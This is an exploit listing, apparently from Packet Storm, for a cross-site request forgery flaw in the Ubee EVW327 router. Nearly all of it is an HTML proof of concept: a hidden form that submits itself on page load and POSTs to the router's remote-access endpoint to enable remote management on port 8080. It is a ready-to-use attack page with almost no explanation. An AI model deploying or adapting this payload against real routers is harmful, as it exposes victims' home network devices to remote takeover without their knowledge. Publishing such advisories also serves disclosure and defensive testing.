Ubee EVW327 suffers from a cross site request forgery vulnerability.
db2ae13634eda913433b0dd6498c6ec401dc37ff7931584eb95b8bc1a5692da9# Exploit Title: Ubee EVW327 - 'Enable Remote Access' Cross-Site Request Forgery (CSRF)
# Date: 2021-05-30
# Exploit Author: lated
# Vendor Homepage: https://www.ubeeinteractive.com
# Version: EVW327
<html>
<body>
<form action="http://192.168.0.1/goform/UbeeMgmtRemoteAccess" method="POST">
<input type="hidden" name="RemoteAccessEnable" value="1"/>
<input type="hidden" name="RemoteAccessPort" value="8080"/>
<input type="hidden" name="ApplyRemoteEnableAction" value="1"/>
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed